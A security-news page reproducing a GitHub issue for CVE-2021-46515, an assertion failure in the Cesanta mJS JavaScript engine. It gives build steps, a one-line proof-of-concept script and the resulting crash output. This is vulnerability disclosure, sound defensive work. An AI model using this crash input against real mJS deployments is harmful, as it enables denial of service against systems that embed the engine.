Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2021-46515: Assertion `mjs_stack_size(&mjs->scopes) >= scopes_len' failed at src/mjs_exec.c:949: mjs_execute. · Issue #186 · cesanta/mjs

There is an Assertion `mjs_stack_size(&mjs->scopes) >= scopes_len’ failed at src/mjs_exec.c in Cesanta MJS v2.20.0.

CVE
#ubuntu#linux#js#git

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

Comments

@hope-fly

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile DOCKER_GCC=gcc DOCKER_CLANG=clang $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)

save the makefile then make

make

Test casepoc.js

(JSON.stringify([1, 2, 3]))(((JSON.stringify - (6) * 10000) - 20 * 9060)([([JSON.parse(JSON.stringify([(0)]))])]));

Execution steps & Output

$ ./mjs/build/mjs poc.js mjs: src/mjs_exec.c:949: mjs_execute: Assertion `mjs_stack_size(&mjs->scopes) >= scopes_len’ failed. [1] 118000 abort mjs poc.js

Credits: Found by OWL337 team.

1 participant

@hope-fly

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907